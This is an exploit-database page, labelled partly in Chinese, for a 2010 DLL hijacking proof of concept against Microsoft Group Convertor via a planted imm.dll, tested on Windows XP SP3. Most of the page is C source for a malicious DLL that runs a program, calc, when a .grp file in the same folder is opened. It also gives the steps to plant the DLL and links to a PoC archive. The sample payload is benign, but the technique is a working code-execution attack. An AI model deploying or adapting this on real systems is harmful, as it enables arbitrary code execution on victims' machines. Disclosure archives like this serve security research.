Microsoft Group Convertor – ‘imm.dll’ DLL Hijacking

  • 作者: Beenu Arora
    日期: 2010-08-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14758/
  • /*
    # Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora
    
    Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll)
    Date: 25/08/2010
    Author: Beenu Arora
    Tested on: Windows XP SP3
    Vulnerable extensions: grp
    
    Compile and rename to imm.dll, create a file in the same dir with one of the
    following extensions:
    .grp
    */
    
    #include <windows.h>
    #define DLLIMPORT __declspec (dllexport)
    
    DLLIMPORT void hook_startup() { evil(); }
    
    int evil()
    {
    WinExec("calc", 0);
    exit(0);
    return 0;
    }
    
    // POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14758.zip